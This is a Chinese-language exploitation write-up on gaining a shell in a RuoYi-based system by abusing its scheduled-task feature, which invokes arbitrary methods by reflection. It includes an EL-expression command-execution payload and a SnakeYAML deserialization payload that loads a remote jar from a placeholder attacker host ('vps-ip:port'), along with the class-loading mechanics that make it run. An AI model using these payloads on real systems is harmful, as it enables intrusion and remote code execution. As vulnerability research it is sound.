从JNDI注入到内存马植入

​ 某次团队的小伙伴给了个系统需要后台getshell,经过分析这个系统不解析jsp,但在后台发现了个反射调用任意类的任意方法的功能点,想到通过JNDI注入利用,下面着重分析如何通过JNDI注入种植内存马。

漏洞分析

​ 该漏洞点主要在com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)方法中,当传入的对象是bean,则会调用bean的方法,当传入的不是bean则创建类的实例并调用对应的方法。

e

​ 在com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(java.lang.Object, java.lang.String, java.util.List<java.lang.Object[]>)中完成反射调用。

image-20210721094459758

​ 这是一个计划任务的功能,调用目标的类参数和方法均为用户可控,所以我们可以调用任意类的非private方法。

image-20210721094553756

EL表达式利用

​ 由于这套系统依赖了tomcat环境,而tomcat自身支持el表达式,可以通过执行EL表达式进行利用。

image-20210721095432250

image-20210721095453215

​ 下面只要构造好EL表达式执行命令完成利用。

1
ELProcessor()).eval("\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\").toString()");

​ 但是这种利用方式却出现了问题,主要是该系统对参数提取的部分导致的,在通过com.ruoyi.quartz.util.JobInvokeUtil#getMethodParams处理参数时,会将()中间的内容提取当作参数,但是我们传入的参数本身就带有(),因此只会解析到getClass(,后面传入的参数会被截断,因此无法直接通过这种方式进行利用。

image-20210721100749379

snakeyaml反序列化利用

​ 这套程序使用了yml作为配置文件,而解析yml一般会使用snakeyaml库,当使用Yaml.load加载内容时,会进行反序列化操操作,将!!全路径类名转换为对象。

1
new Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps-ip:port/yaml-payload.jar"]]]]')

​ 这里讲下为什么要加上ScriptEngineManager,我们知道当我们通过URLClassLoader loader = new URLClassLoader (new URL[] {u});创建URLClassLoader时是不会直接去加载远程的jar的,只有当通过 Class.forName ("Hello", true, loader);时才会加载远程的Class。在ScriptEngineManager中存在构造方法并接收ClassLoader对象,并且会调用Class.forName触发类加载,所以这里才需要加上ScriptEngineManager。

image-20210721150351379

​ 虽然上面的代码通过Class.forName触发了类加载,但是要执行我们的恶意类还取决于nextName的值,在java.util.ServiceLoader.LazyIterator#hasNextService中将pending的内容赋值给了netxtName。

image-20210721175458375

​ 这里我们了解下ServiceLoader类,这个类是SPI的具体实现。在ServiceLoader.load的时候,根据传入的接口类,遍历META-INF/services目录下的以该类命名的文件中的所有类,并实例化返回。

​ 再回到代码里,我们这里传入了URLClassLoader,调用URLClassLoader.getResources会加载远程jar包的文件,再parse中读取远程META-INF/services/javax.script.ScriptEngineFactory中的内容并返回,所以我们的jar包中要在文件下放置我们想要获取Class实例的类名。

image-20210721180503290

​ 最后提的一点是在通过Class.forName得到Class对象后,后面还会使用newInstance方法创建对象,所以我们可以把恶意代码写到构造方法中。并且通过cast将类型转换为javax.script.ScriptEngineFactory,所以要想执行过程中不报错,需要实现ScriptEngineFactory接口。

image-20210721202406778

​ 这里需要注意编译jar的jdk版本要和目标jdk版本大致一致,我使用jdk6编译jar,在jdk8环境下运行系统加载类时会导致异常不能加载。